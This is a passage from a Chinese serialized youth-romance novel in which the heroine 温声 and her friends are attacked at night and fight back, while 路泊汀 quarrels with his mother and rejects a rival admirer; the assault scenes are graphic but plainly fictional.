马路上都没什么车,两边的灌丛也黑乎乎一片,温声就蹲在路边发着呆地等两人,刚要摸出手机照亮时,动作一哆嗦。
可能是她平时对声音很敏感,也可能在黑暗里徒生的第六感。
在身后,在距离她很近的那处草堆,她细微又敏锐地察觉到有一道冷风正在迅速扑向她。
有人拖着重重的步子快步冲了过来。
大脑瞬间一片空白,冷气直逼头顶,来不及回头看,她只能凭直觉飞快起身,下一秒将手里的两个塑料打包盒奋力向后抛去,在极度的慌神恐惧下,手脚又麻又迟钝,甚至,她都忘了要喊人,声音哽在嗓子口怎么叫都叫不出。
只能软着腿本能地拼尽全身力气往公共厕所的灯源处狂奔。
身后的人很快甩出一根粗长的麻绳,绳鞭狠狠抽向她的后背,温声痛的立马伏下身弯了腰,那道黑影率先从后面猛地撞过来,麻绳顺势圈紧她的脖子,成年男性的体型一下就压倒了她。
“唔——救救!救——”
温声抡起拳头用力砸到他头上,却被他用手掌死命捂住嘴,另一手两指曲起使劲扣上她的脖子,她越是拼命挣扎,他掐住她喉咙两侧的劲就越狠。
她被他用最凶残的裸绞方式摁进草地里,甚至还收紧绳子勒住她,头皮一阵濒死缺氧的痛,全身都在抖,那股窒息的昏厥快速袭来。
黑暗里,浓烈刺鼻的醉酒味,气急暴怒的粗喘声,全都灌进了她耳侧。
身下突然一僵,脑子里好像有什么炸开了,温声的眼泪无意识就冒了出来,两手发了疯的向后打他。
他的手正在拉自己校裤的拉链!
“路泊汀……”
69. 僵持
希榕和朋友下到二楼时,从拐角的包间看到了路泊汀,这是她父亲名下的私人茶馆,地理位置很隐蔽,平时也很少待客,茶馆设计风格偏中式,环墙竹影,四下清幽,上下平层间被大片绿意包裹。
她定在原地,透过那扇微张的格子木窗,一里一外,目光静静地停滞在那抹被竹片半遮半掩的身影上。
微低的视线,随意敲弄瓷碗的长指,靠向椅背的散漫坐姿,印象里,他好像都不怎么揣着正色和别人说话,永远漫不经心,永远似真似假,哪怕坐在对面的那个人是路家的当家,他的妈妈。
“Shirley?”
旁边的同伴见她突然停在楼梯间,不解地叫她,没反应,于是顺着她的角度看过去,眼睛当即一亮:“哇哦!”
两手举在半空飞快摆晃着意思,觉得还是表达不清,她又将脑子里那点学到的中文不管褒义贬义,一股脑全吐了出来:“酷!帅!大大大潮哥!!这家伙肯定很行,一看就很很行!!你们中国的男孩都这样吗?”
叽叽喳喳的叫声引得边上几间房的客人看过来,希榕脸一红,拉住她的手快步闪到墙柱后面,害怕被他发现,还摘下面前人的帽子扣回自己头上,垂头,又翘唇哂笑:“他是我先心动的,你要不要去帮我要联系方式?”
No problem!
同伴扭头就要往里冲,面色都带上生动的喜感,但脚步刚迈出,就被她一把拽住,回头,希榕抿唇看着她,接着无奈摇头:“他就是我提过的pretty boy。”
曾经在一场Truth Or Dare的派对游戏中,她输后选择了truth,年轻男女无外乎问的都是一些和感情有关的问题,对这个各方面都很优秀的亚洲女孩,大家格外八卦。
有人试探:“我觉得Shirley心里应该有喜欢的人吧?大家同学这么久还没见过她在学校谈恋爱啊。”
也有人起哄:“大小姐,他和Girvin比谁牛逼?”
Girvin是当时喜欢她的新加坡小哥,人很优秀,性子却内敛矜持,坐在角落只是浅浅微笑,警告那两人:“不要随意开女孩子的玩笑。”
话虽是这么说,但眼睛一整晚都没离开过希榕,目光中的期待之色全场的人看得很清。
希榕当时喝了点酒,昧然灯光下她的颊边泛着柔色,那个只在心里就念过无数次的名字,终于在这样一个空旷自由盛大又模棱试探的时刻下,当着十几号人的面说了出来。
“我喜欢的人叫路泊汀,现在在国内,我们很久没见面了,他是一个性格不太可爱的男生。”说完举起空了的酒杯朝大家一扬,又对着杯口落下唇印,喃喃说了一句,“但我很喜欢他,非常喜欢……”
Girvin自若了一晚的情绪,那个时间起就有点无措和难受起来,他坐在角落,声音越过长桌的斜角,问她,“路泊汀?哪个bo,哪个ting?”
他也不知道为什么要问这个问题,输赢早就定型,问清名字又有何用?
不等希榕说话,一旁的女同学闪着星星眼鼓起掌来,别嘴的音节一点一点往外蹦:“b-o-t-i-n-g!谐音是pretty!”朝希榕咧开嘴调笑,“你的pretty boy一定很优秀。”
于是那晚之后,学校里的人都知道了她喜欢的人是一个叫pretty boy的中国男孩。
“啊——”
同伴惊讶地捂住嘴,同时又扒在墙角疯狂往窗户里看,越看越觉得这酷哥对得起‘pretty’这称号,小声问希榕:“那你怎么不去和他打声招呼啊?虽然他这会看上去比较不耐烦,也有点冷,但你们不是认识吗?”
她不敢。
希榕快速瞟了一眼,收回视线,不是不敢和他打招呼,而是不敢和姚书文打招呼……
以前年纪小,她又是被家里溺爱的千金,对喜欢的东西总有一种自己拿不到别人也别想拿的念头,于是占有欲作祟,于是装作无辜地踩掉了那个总是陪伴在他身边,即使是以妹妹身份存在的女孩的鞋跟。
她站在楼梯口,眼里晃着细微的捉弄,看面前的那个人一个踉跄后,差点就摔了下去。
本以为大人坐在客厅聊东聊西,谁也没注意到这处的小插曲,却没成想,扭头就看到了身后的姚阿姨,精致的面容拢着一层少见的淡漠,隐隐间甚至还有丝薄怒,和以往小朋友眼里最喜欢的那个姚阿姨,完全错了样。
她当场就傻了眼,但又憋紧唇故作镇定,反正她表现出的又不是故意的。
然而,这位以往对她讲话总是柔声柔气的阿姨,那一次却当着几位世家的面直接挂了脸,提唇笑了下,笑意很凉,最后淡声丢下一句:“我只允许一次你这样对她,记住了希榕,绝对没有下次。”
说完也不顾她是谁的女儿,漠然转身进了书房。
直到送客的时候都没有出来。
一定程度上,路泊汀的性子是完全随姚书文的,母子两人都有种让人难以逐磨又望而生畏的气场。
也是在那之后,她就不太敢正面和姚书文打招呼了。
不过,好像还从没见过他们之间这种剑拔弩张的气氛,希榕好奇地藏在同伴身后贴着墙努力偷听。
路泊汀弯身给姚书文添茶,完了又挎着肩靠回沙发,手指有些心神不定地敲着膝盖,“话就是这些,想不想见他您决定。”
姚书文摘下墨镜,指腹揉了揉眼窝,眸光细扫过他,“这个温志强是阿声的生父外,你是不是还有什么事瞒着我?”
“没了。”
瞅她定神盯着自己,路泊汀挑唇轻笑,小酌一口茶,茶底偏涩,他又喝了一口,“就是觉得他马上要移民了,作为生父,你们见一面比较好。”
“没必要见面,我也不想让他知道阿声的存在。”姚书文重新戴上眼镜,面容被掩住露出几分冷淡,“如果他移民期间需要任何帮助,我会联系资管以三方的身份资助他,除此之外,阿声的父母只能是我和你爸。”
眼梢睇向他:“还有,你少插手这件事,你以为你的事就完了?”
路泊汀嘴边的笑淡了下去,看她:“您答应过我的,只要我找到妹妹……”
“不用了。”
指尖忽然一麻,和裤子好像触了电,他思绪一断,脱口问:“什么意思?”
两人对视,挂在中央的吊灯却一闪,光线暗了几分,宽大的木桌被幽色灯光分成左右两半,两边都暂时陷进暗影,窗外溪流汩汩,水声潺潺,忽近忽远。
室内的气氛却像卷入狂潮巨浪,路泊汀敲着膝的手钝然停下,接着问:“什么意思?”
姚书文起身,面前的茶水连碰都没碰一下,大衣衣摆蹭过盖碗的边沿,碗中的浅色水渍被洸开波漪,她不紧不慢地拿过旁侧椅子上的提包,居高临下地回视他:“我和你舅已经通过电话了,我自己去找她,还有,李樊的事你最好给我一个答复。”
移出的脚步一顿,转头,敛下的眸又看向他,声音低而凉:“如果找不到她,阿声就只能是我女儿,其他的,你想都别想。”
“凭什么!”
路泊汀猛地站起,长腿一跨,挡在她身前,他比姚书文高出大半个头,那股子刚才被镇压的气流瞬间消失,转而代之,俊脸一片冷然疯狂,临视着她,一整晚收着的脾气这会全打开。
“您问过我意愿了?还是问过她意愿了?一句话就否定我的十年,妈,您这公平?”
“她可以继续当路家的女儿,但,她只能是我以后要娶的人,只能是她,这事儿板上钉钉。”
“我说我能找到妹妹,我就一定会带回她,只要带回她就不再管我两,您明明答应过我的!”
“反正我这辈子就押她身上了,里里外外,您怎么拆都没用,我连死都不怕,我还怕——”
混话一股脑砸出,姚书文手里的包倏地用力全抡到他身上,周围静了又静,墨镜下那双发红的眼睛死死盯着他,她连声音都开始哽的发哑:“那找不到怎么办!谁来赔我的女儿?!那是我女儿!你瞒着我和你爸这事我还没找你算账,你别让我现在在这里抽你。”
路泊汀一顿,心被扯的有些疼,鼻息发沉,“妈。”他喉咙滚了几道,声音也哑,“我们都往好点想成吗——”
“姚姨晚上好。”
希榕忽然推开木门,站在门边,她刚才吓了一跳,生怕两人起冲突,看到姚书文手里的包砸出去时,想也没想就跑了过来,有些局促地开口:“好久不见啊,今晚我父亲去了临港,如果哪里招待不周还望姚姨您见谅。”
姚书文阖了眼随即拾好情绪,看着门口站着的小姑娘,突然问了一句:“今晚有司机送你回去吗?”
不等她回答,指向路泊汀,“太晚了不安全,让他送你。”
路泊汀站着没动,眯起眼,声音压低冷声道:“能别扯进其他人么,别这样妈。”
姚书文直接无视,重新拿走包,转身往外走,声音绕在他耳侧:“你对阿声的感情,如果是你一直没摸清自己的心呢。”
“还有,以后不要约我,我不吃你这套。”
以往这间茶馆是她最常来的地方。
操。
路泊汀绷着一张俊脸,寒意溢出,姚书文离开后,抬眼瞅那个立在门边一声不吭的人,还真当他是车夫了,似笑非笑地挑眉直问:“还有事?”
熟悉他的人都知道这表情就是某人要倒霉了。
对她是越来越不耐烦了。
希榕一静,转身就想走,但后天自己就回美国了,这一去下次见面还不知道是什么时候呢。
于是,都没犹豫一下,几步跑过来,端起姚书文那杯没喝的已经温了的茶,碗口一转,往自己身上全浇了下去,毛衣瞬间泞成一团,她又扯过旁边搭在沙发的他的大衣披了上去,神情无辜得很:“我衣服这下都湿透了,今晚家里的司机有外会不能来接我,反正我们两家离得近,你不想我半路被打劫的话,那就顺个路送送我?”
说完还古灵精怪地眨眨眼,朝他作了个揖。
呵。
盯着她那动作,路泊汀戏谑地勾起唇,笑得更艳了,希榕心跳漏一拍,扑通扑通,正要继续开口,就见他已经钓起黑亮的眸子没什么情绪地睨着她,耳边是他冷酷无情的声音:“怕被打劫就打给局子,想找车夫就另找别人,收起你那点心思别在我这儿装,你怎么样和我有关系?”
这话过了。
希榕一时发怔,随后立马红了眼,脸色也变了,她还没受过这种委屈。
但还不够。
路泊汀又挑着眉点向她还在作揖的手,嘲意十足,继续笑,笑的很混很流气:“学她有用么?什么时候你才能懂,千千万万里,温声只有一个。”
他今晚心情出奇的差,本来就懒得和人搭腔,还非要上赶着往枪口撞。
那就别怪他说话难听。
希榕白着的小脸又蒙上一层羞怒,手一收,身子快
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速直了起来。
今年他们几大家在年初聚餐,当时路泊汀刚成年,和朋友组队正在西藏参加越野穿越,时间拉的比较久,没来得及回家过年,于是几个狐朋狗友只能在冰天雪地里堆着火垛吃着烤野果随意过了把年。
她和温声的位置是餐桌的面对面,姚书文给温声递手机:“你哥要和你说话。”
她看见温声鼓起嘴巴浅浅哼了声,有些不情不愿地接过手机,接着,刁蛮娇气地朝他翻白眼:“干嘛!有话快说!我还要吃饭呢。”
那是一种她曾不屑一顾却又暗自羡慕的相处方式,对他,她没有任何理由可以作出。
那头的路泊汀说了一句什么她没听清,只见温声立即噤声,又很快抬高手机,睁着晶莹的亮眸凑近屏幕,随即哇的叫出声:“这是什么呀?!”
“看上去就好酷!是在哪里采的呀?我也要!回来给我也带一个行不行呀?”
“求你了…下次我不翻白眼了…我保证……求你了我也想要……”
“那我道歉总行了吧!”
然后,她清晰地记住了她举起手的动作,左右交叠,悬在胸口,眉眼都晃着俏皮的影子,朝他一本正经地作了个揖。
“够了吧够了吧!我要蓝色的,黄色的也行,哎哎哎,什么颜色都可以……”
屏幕那头传出他的清朗哼笑,满是纵容。
她都要忘了,自己为什么非要执着去记那个动作。
而他明明当时就不在场,又怎么会知道这是专属于温声的动作。
撂向她身上的大衣,路泊汀神色淡的很,一副送你了的轻佻模样,低头去拿手机和车钥匙。
希榕看他穿着那件灰色的薄款线衫,额前的碎发依然被抓得凌乱,弯颈时,偏低的领口正好擦过凸起的脊骨,明晰干净,颈侧还有几道鼓起的浅细青筋隐入衣领,她一直都觉得他不用看任何人,也用不着说什么话,那股不可一世的嚣张劲儿随时就能从骨子里渗出来。
冷着的一张脸,和第一次见面时,他带给她的那种青峰迭起的峥嵘意气重了样。
是一个盛气凌人又偏偏生得芳华绝色的混蛋。
“路泊汀!”
他转身朝门外走,长指划开手机,点开聊天框,她还没回消息。
L:发个定位,我去接你。
“我到底哪里比不上她!!我有病才会喜欢你!!!”
步子丝毫没变,继续走,又拨了通电话出去——
‘嘟嘟嘟’
电话正在通话中。
“你永远都不会幸福的!!!!”
他眼都没眨,手扶着颈,扫了眼屏幕的时间。
L:十点了宝宝,也该回我消息了吧。
“我们虽然不是情侣,但总归是朋友吧,你能不能尊重点我?!”
这句话几乎是吼出来的。
路泊汀开门的动作突然停下,背影长身俊拔,头微偏,看那个他明确拒绝过又始终保持着距离的人,下巴微提,笑的疏离,最后一次和她搭话:“那你还差得太远。”
在所有关系里,只要他没感觉,那委曲求全没用,刨腹明志更没用。
哪怕到最后他被当成了那个恶人。
无所谓。
希榕每往外喊一句话,精神就崩溃一次,她以往那些游刃有余的自信一瞬间全坍塌了,直至眼前他的身影不见,呼出的所有控诉变成一堆没有猩火的灰烬,鼻子竟然还能闻到他衣领的冷香,丝丝沁凉,像从冷松里落下的冰渣,越掉越快,越凝越多。
直到彻底浇灭她滋长了几年的热忱。
衣兜里的手指冷不丁一动,摸出一看。
路泊汀坐进车里给江乐橙打电话,也没接。
见鬼了。
两个小时不到,室外就垒了一层白霜碎雪,心脏又猛地一抽,有点喘不上气,他只好降下车窗给车里换气,耳根被寒风吹的发红,想到姚书文今晚的话,有些烦,还有一点他不愿承认的茫然,摸了把裤兜,自从上次和她说不抽烟后,兜里就再没见过打火机的踪影。
他仰着头,呼出热气,任由那些雪花冒然坠进眼里,又黑又亮的眼睛被湿雪铺上潮意,很轻巧地遮住了眼底的疲倦。
‘啪——’
身后的车门忽然被打开,他没动,视线滑到后视镜。
“我知道温声在哪里。”希榕已经整理好情绪,也没看他,扭头望着窗外,“今晚我和朋友路过淮北西路,在路口见到她了,一行三人,应该就在附近。”
“姚姨把我交给你,你就得负起送我到家的责任,今晚过后……”她捏紧手里的东西,冷风顺着前窗飘进,宽阔厚重的大衣将她全部包住,点头轻声道,“今晚过后,我不会再联系你了。”
路泊汀偏着身还是没动作,长手长腿全部摊开,睫毛都挂上了雪絮,就在希榕咬唇难堪时,他才悠悠坐直,关窗,发动车子。
“随你。”
到淮北西路的地铁口时,已经是一刻钟后,希榕左右两边快速推看,没什么人影,车子往偏僻的位置又开了一段路,路泊汀停在靠边打算下车找,身后的人敲他的椅背让他往左边看。
“那个是不是温声?”
他顺着她的指向看过去,就那一眼,面色骤然冷了下来。
不远处的台阶上,贺厉正背着温声,两人的脑袋贴的很近,她的唇就挨在他脸侧,从这个角度看过去,她头顶还罩着一顶土的不能再土的,那个傻逼的帽子。
70. 跟踪
另一边厕所
江乐橙和关语宁刚进去就觉得不对劲,如果不是门口标着公共厕所几个字,有一瞬间,两人还以为闯入了什么异次元世界。
离出口近的几扇门都被里锁死,顺着又黑又长的甬道,只有最靠里一间厕所是开着的,低矮的房檐被几根粗木桩顶着,中央悬着一只破旧的灯泡,都这个季节了,灯罩上还飞着几只小蝇虫。
站着没动,两人试探性地敲了敲旁边紧闭的门,没人应。
想也没想,关语宁拽住江乐橙就往外跑:“不上了,快走!”
刚转身,脚步猛地一停。
盯着那个不知道什么时候杵到门口的人影,身形人高马大,暗魆魆的光线下,糊满络腮胡的脸被黑色面罩半遮了住,露出的目光隐隐有几分寒戾不耐,手里还掂着根不粗不细的铁棍。
完全看不清面容长相,只知道和美剧里那些包头的恐怖分子一个样。
靠,临近年底,还真撞邪了。
关语宁揽着江乐橙往墙边凑,顺手将她推到身后,俩小孩本来就是还没成年的小倒霉蛋子,哪见过这种阵势啊,心里又慌又怕,江乐橙咽了声口水镇定开口:“没搞错的话这是女厕吧,你是不是走错了?”
男人斜斜靠着门,眼皮抬起扫向不远处,又回过头,没说话,一副聋了的样子,手里那根铁棍倒是横了过来,直接别上门框。
两边,一里一外,铁棍成了一道无形的锁。
明摆就是有意堵她们。
江乐橙都快要尿裤子里了,小脸憋得胀红,语气不由暴躁起来:“喂!问你话呢,聋了?堵女厕门口不是变态就是死变态,你又是哪条道上的?报上名来!”
说完还气势到位地指向头顶那处黑不溜秋的房檐,冷眼瞪他:“摄像头可都在这儿摆着呢,你不想明天上社会版,现在就走人。”
话虽是这么说的,但手和脚早就凉了,这狗地方,黑灯瞎火的,别说摄像头了,脚底从进来到现在估计都糊满了别人的屎。
还遇上个神经病。
简直晦气!
关语宁脸登时一黑,不动声色地用胳膊肘顶她——
能说话正常点吗姐,咱面前站的那位真像混道上的。
紧跟着偏头重咳了声——
别惹。
江乐橙收到信号,牙一咬,只好心不甘情不愿又有些窝囊地藏在她身后。
谁让她不会打架呢。
男人斜睨着两人,换了个靠姿,鼻腔滚出一声不屑的冷哼,他身上那件皮外套连呼呼寒风都没吹起一丝衣摆。
是隔着距离都能感受到的沉甸,还有一抹窒息。
他抬手突然点向她们,又轻飘飘地指了指门外,嘴边的黑布一动,接着诡异的笑声迎起:“你们是她的朋友?”
阿声!
江乐橙彻底沉了脸,摸向身后的书包,大声喝他:“你特么到底是谁啊!跟了我们一路目的就是她?别怪我没提醒你,你今晚敢对她做点出格的事出来……”
从关语宁身后站出来,她双眼盯紧他,意有所指地警告,“只要她受了伤,哪怕一点点,我都保不准你会有什么后果。”
关语宁眉头蹙起,从进来到现在早就超过十分钟了,正常来说阿声应该进来看一眼的,但这半天过去,外边什么动静都没有。
甚至,周围安静地有些恐怖了。
她是个行动派,没有江乐橙废话那么多,从身后的笨蛋刚才嘴炮的时候,她就在估量门里门外的距离了,强自淡定地瞟过门口的男人,又移向他手里的那根铁棍,只要低腰速度够快够灵活,是完全可以避开他抢过来的。
我的亲娘啊!
从没有哪一刻像现在这样庆幸过,多谢您老人家打小就摁我在拳馆练过!!!
“哦,你是说路家?就她那个当官的爹,还是她那个二世祖的哥?”
那男的压根不在乎,耸肩嗤笑,看着外边还在拉扯的两人,明知道今晚要干正事那个傻逼还要喝酒,拳头紧了又紧,指节噼啪作响,回过头又说,“他们再厉害可跟老子有鸡毛关系?今晚这事一完我立马闪了,就算抓到又咋样,有证据么?你们有这时间屁话,不如和你朋友好好道个别,万一再见面就是下辈子呢。”
说完,还眯起眼阴阴生笑:“老子烂命一条,死了就死了。”
关语宁仍面不改色,手揣在兜里快指划了几下,忽然出声:“我们不认识你,也看不清你,那大家就敞开说吧,既然命对你来说不重要,那今晚你的目的不是在钱而是……为人情?那个人是阿声身边的人吗?”
目光定在他身上两秒,她接着问:“看你这身衣服,不像本地人,是少数民族?”
男人眼皮微动,横在门框的棍子倾了斜,站姿却没动,语气极暴躁:“管你球事?”
江乐橙抓紧手里的防狼喷雾憋住白眼忍了又忍。
真是个傻逼。
关语宁心里了然几分,挡住江乐橙继续说:“你要想清楚了,绑架不是一件小事,尤其她还是公职人员的家属,不是你随便能动的人。”
江乐橙伸长脖子在关语宁身后附和:“她爸爸可是在新闻联播里每天都能看见的,你敢动她试试看呢?够你蹲好几年的。”
男人没吭声,呼吸起伏明显沉了沉。
黑影里,三人站着都没动,关语宁架住心里的烦躁不敢说的太犀利:“你身后的那个人完全就是想推你入火坑,你还这么年轻,一切都来得及,你更不用担心之后他会来找你麻烦,他逼你做这种事,路家是不会放过他的,只要你现在让我们走,想要什么条件你随便提,自会有人来买这个账。”
她垂眼看向他手里的铁棍,声音愈发轻柔:“但今晚你们一旦动了她,别说有证据,就算没证据,你觉得你以后的路好走?”
江乐橙撇撇嘴,这话说给三岁小孩听都没人相信,刚想和前面的人咬耳朵让她换路子重新说,就见那男人不自在地动了动,高大的身影在黑地里有种犹豫不定的恍惚。
比起一死百了,蹲几年牢他还真有点吃不住。
哇靠!
江乐橙疯狂戳关语宁的腰,用力使眼色:你还是厉害啊我的姐!
两人飞快对视一眼,见男人的强势松动了一些,关语宁还想继续洗脑,门外却猝然响起惊心的尖叫声。
阿声!
门口的男人被这突起的声音一扰,好像忽然回过神,率先扫向外面,黑布下的眼神突地阴鸷生寒起来,手里的铁棍方向一变朝她们大步冲过来,“妈的,你们耍老子!”
江城气候台晚间播报十点钟开始下暴雪,不过转眼,漫天雪花就铺满了路面,湿雾很快浮在半空,能见度极低,不远处有轿车
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驶来,湿地被疾驰碾过的沙沙声迅速没入夜幕。
温声身上的羽绒外套早就被身后的男人扯开,万幸里面还有一件束进裤子的紧身毛衣,脏泥全蹭了上去,她紧紧贴着地,用尽全身力气死攥住裤沿,压在身下的手抖个不停,任他怎么抽都抽不出衣摆。
成年男人的手劲太大,除了被碎石划破外,她的手背还被他用指甲反复抠磨,一双白皙的细手破痕满满。
男人见她不叫也不哭,于是扯起她的后衣领,掌下一个猛力狠推,她的脸就被砸进湿泥里,只是几秒,他就能适到她的僵硬,咬牙怪笑:“你就是温声?那个杀人□□犯的畜生是你爹吗?”
温声听到这个称呼秀眉一拢,吃力地抬头,噗地朝他吐出口水,白生生的脸蹭着泥在暗色下笑的很明媚:“你两都是畜生,有什么区别?”
像是看不惯她那副和他犟的模样,男人冷不丁寒了脸,膝盖压住她的背,细薄的一层,好像随时都能被压断,又上手抓她的头发,提起,狠狠向下一磕:“都他妈快要死了,你再给老子笑!”
她好像试不到任何疼,只知道心跳卡在嗓子眼,整张脸被他用手心狠力捂着,深冬寒天,滚出的生理性眼泪黏成凉透的湿痕,胸腔和喉咙闷出火辣辣的疼,越来越喘不上气,溢出指缝得喘声破碎嘶哑,像是一把钝刃磨在锯齿上。
身后的男人压紧手掌一次又一次掐灭她活着的气息,温声吊着一口气音再度哼出两声挑衅的笑,笑声空洞羸弱,不出意料又激怒了跪在身上的男人,他粗暴地掐起她的脖子,整个颈被向上扭出很诡异的弧度,温声痛的咬紧牙,喉咙艰难一滑,下一秒,直直拽起的后背,就被他用钝厚的膝盖快速顶跪下来。
咣!
胸口再次重重砸到地上。
“啊——”
温声痛的立马叫出声,上半身抽搐不停,嘴唇也在打颤,还没受过这种疼,眼泪不受控地又冲了上来,眼眶酸疼,像有人拿着尖刀反复搅碎那里的清亮,直到戳出一片血肉模糊,流出发狠的红。
但她半仰起头死死盯着上空飘着的雪花,硬是将那股热泪往回憋住。
男人重新抓住温声的头发,接着又戾绝地向下一叩:“对不住啊小美人儿,你那个杀人犯的爹惹了不该惹的人,我今晚和你做个交易要听吗?”
见她半天不动,于是垂眼趴在身旁看她,煞白的小脸全是破红,盈盈明眸,确实是个美人,但他觉得那双明明痛得要死还要强忍住哭意的眼睛着实碍眼,忍不住的破口大骂:“装你妈呢,死逼玩意儿,你给老子哭出来!”
胸口和额头被反反复复砸到地上,身前的位置像被硬生生凿出一处血洞,有一瞬间,温声脑子里就只剩下一片骤聚的白光,嗡嗡嗡,没有挣扎没有呼吸。
她像短暂死过一样,那种从未有过的剜心剧痛,疼的她眼皮都在打颤,甚至,喘息都成了身体的累赘。
挺起的背被他来回不断地碾碎。
但温声没有再叫一个字,瘦瘦的身子趴在地上,全身只被一个念头吊着。
她还没有给路泊汀回电话。
她今天都没有见到他。
还没有告诉他,那枚戒指套着平安扣被她戴在了身上。
她很喜欢很喜欢。
她都没有和他说,明天她要去机场送他……
“温声?!”
71. 遮掩
温声被压得头昏眼暗快要休克过去,听到这声试探的叫喊,以为是幻听,恍神间,半空飞来的书包直直砸到醉酒男的头上,下一秒,身上就一轻,那男的被大力提起拖了出去。
贺厉骑到他身上,揪住他的衣领,怒气十足的拳次次砸到他的要命处。
忍着痛吃力地撑起身,温声想要去拦他:“小心不要和他打!”
醉酒男一时没反应过来,太阳穴和胸前硬是挨上速度极快的几记铁拳,他气的当脚蹬开贺厉,怒容凶戾,一看就是混黑的人,猛地上前扑倒他又抓住他的脖子,胳膊肘击向他腹部,同时挥出快拳,每一拳又狠又瓷实地抡到他脸上。
贺厉眉峰一紧发出闷哼,鬓角立马冒出冷汗,他毕竟不是练过的人,被男人阴狠的拳风猛攻几次后,只能护着头先防身,躲拳间喘着粗气朝温声大喊:“你现在就跑,快跑!!”
温声没任何迟疑扭头就去翻掉到旁边的书包,江乐橙这时从厕所侧门大步跑过来,手脚失措,马尾还乱蓬蓬地散着,她手里抓着那瓶刚才已经用了一半的防狼喷雾,也不管三七二十一,怼着压在贺厉身上的男人一顿乱喷。
“我草你大爷!!我草死你全家!!!谁给你胆子敢欺负我姐们,我让你死!!!!”
像是要吼出所有恐惧,江乐橙一脚狠蹬上他的脸,越是这种疯狂的时刻,她的胆子就越大。
大不了就一起死啊贱人!
“啊——”
男人猝然背过头发出震耳咆哮,这回直接倒在贺厉身上,两只眼没防住都进了喷雾,惨怛的叫声贯入整条马路,那种像被人泼了一把强酸的火辣蚀痛从眼皮刺穿到头皮,一双瞋红的眼像被剜出两只血窟窿,睁开疼闭着更疼,这比挨上一刀还他妈遭罪,他痛的恨不能撞头立马去死。
嘭!
厕所那边接着又传来一道落地的巨响。
温声和江乐橙慌作一团忙看过去,关语宁手里夺来的那根铁棍施尽全力往男人背上甩去,她自己还发明过一套定心拳也全都砸到了那人身上,但她细胳膊细手的,力气完全不及专门练过的成年男人。
黑布下,那男人目眦尽裂额角青筋暴起,怒气像一头发狂的黑牛,粗手扯住她的胳膊一个猛拽,关语宁还没反应过来就被提了起来,整个人被当成飞盘抡在空中,最后又重重摔回地上。
“老子要撕烂你个臭婊子!”
“呃唔……”胳膊像脱臼了一样,关语宁疼的脸都白了。
温声眼皮跳了又跳,江乐橙什么都来不及想,迅速转身,扯着步子往厕所的方向狂奔。
“宁儿!”
温声不敢大意,贺厉还被那男的死压着起不来,她握拳给自己拼命打气,刚才生起一股不要命的煞气这会全部爆发,什么死不死、杀人会不会坐牢这些后果她早就顾不上了。
她只知道今晚如果真的被他□□,那大家就同归于尽谁都别活好了。
忍着前胸后背的阵痛,温声翻出包里的两瓶防狼喷雾,快步跑上前拉出贺厉,又从后抓住那男人的衣领,顶起他的后颈,对准他的脸劈手再次喷了上去,白色的雾气滋滋飘在半空。
她记得他刚才折磨她的每一个动作,同样地,掐住他的脖子用力砸进土里,那块原本松湿的地被她砸出一个坑,她的心这会还在打怵,手也慌得直抖,但她现在什么都不怕,眼神冷淬,面无表情地盯着那男的趴在地上讨叫。
那些话。她说的虽然很慢,但声音极清晰,四周除了落雪声,话音全部落到在场的几人耳朵里。
“你试过被女人骑在身下当畜生糟践的滋味吗?”
“感受过她们求生不得的绝望吗?”
“知道狗彘不若丧伦败行八个字怎么写吗?”
“你对你的前半生有过半点天理良知吗?”
膝盖顶开他的半边身,温声用同样下流的方式还给他,鞋尖踩到他的两腿间,又一个发力踹了上去。
“不,你这种畜生到死都不会懂,你就只知道你那根烂d。”
听他撕裂般的惨叫,看他趴在自己脚边面色惧崩地求饶,她心里的那点恐惧才被消平。
贺厉喘着气侧头去看她,刚要开口,原本趴在地上疼的抽气的男人猛地推开温声往附近的草垛深处奔去,温声还想去追,被贺厉一把拉住,回头,他对她摇头:“别追了,太黑了不安全。”
厕所那边的男人拽倒关语宁又踢了她的膝盖一脚后也跑了,江乐橙凑着关语宁慢慢走过来,四个人就没有一个是不带伤的。
温声伤的最重,胸骨那处位置像错位一样,呼吸喘气起来都困难,她趁几人没注意,背过身动作很快地揉了揉发疼的胸口,又去看贺厉,他刚流了鼻血,血迹鲜艳地印在那件浅色冬季校服上,总是苍郁的脸因为破皮还多了一些血色,经常戴的那副黑框眼镜也被打飞。
“贺厉。”她低声叫他。
从十月操场的那次不愉快的谈话后,很长一段时间里,他们没再说过一句话,在班上碰到时她也会错身避开,她的有意疏远被他看在眼里,于是心里那颗情动的种子被迫盖上棺,他甘愿退步,退至那层本该就只属于同学的普通关系。
但是喜欢这种东西,只会像笔墨一样被暂时收进笔筒里,遇见流动的情愫,触到她眼里的那层水光,依旧会在他的心里声势浩大地溶化晕开,怎么藏都藏不住。
单向的喜欢只是一种不受控的自我牺牲,他早该明白的。
“今晚谢谢你……”温声环起手臂抵在身前,胸口升起的阵痛被压下几分,她目光明澈地看他,觉得还不够,想了想,又朝他郑重地鞠了一躬,“真的谢谢,如果不是你,今晚还不知道会发生什么事。”
她不想欠他,任何形式的。
贺厉受不住这一拜,一个大男孩耳根通红步子慌乱地退后几步也去拜她,两人的动作一致的笨拙,“我今晚有数学课,刚下课正好经过这条路,不管遇到谁发生这样的事我都不会视而不见的,你不用觉得有压力。”
说完还语带磕巴地强调了一句:“真的,我说的是真的。”
“别管真的假的了,谁能告诉我那个死贱人跑哪儿去了?”
江乐橙倚靠在站不太稳的关语宁身上,瞅面前那两还勾着腰的人,一脸无奈:“聊正事吧两位,别拜了,要是真的想拜,给我拜拜先压压惊吧。”
温声收回目光,快步走过去仔细检查她们身上的伤,关语宁的校裤膝面上落了一块粗糙大码的鞋印,周围是湿哒哒的泥雪还有一些其它污迹,刚才哭过的眼圈又红了,她垂下头没敢看她,咽声生涩发哑:“对不起……是我连累你们了……”
说的什么废话啊!
江乐橙圆眼狠狠一睁,气不打一处来地去推她的一侧肩,“你再这么说我两可要生气了!这和你有什么关系啊!?明明是那两个贱男人——”
温声这会腿还是软的,浑身力气还没缓过来,被她这么一搡差点滚到一旁,身后的贺厉一个箭步过来赶忙扶住她,看向江乐橙:“现在什么都别想了,大家先去医院处理一下伤口吧。”
见她长发蓬乱,清秀干净的额头还结了几道明显的深色血痂,身上挂着的那件毛衣也被扯得松松垮垮,细薄的锁骨微微露出,整个人在冷夜里有种随风半丝半缕的单薄,江乐橙眼眶一热,鼻尖发酸,哽着嗓子也哭出了声:“到底是谁啊!?谁在针对你,你才多大连你都不放过??”说完吸了把鼻涕去抱她,“我今晚是第一次有了想杀人的心,我发誓再让我逮到他们我绝对要让他们死!”
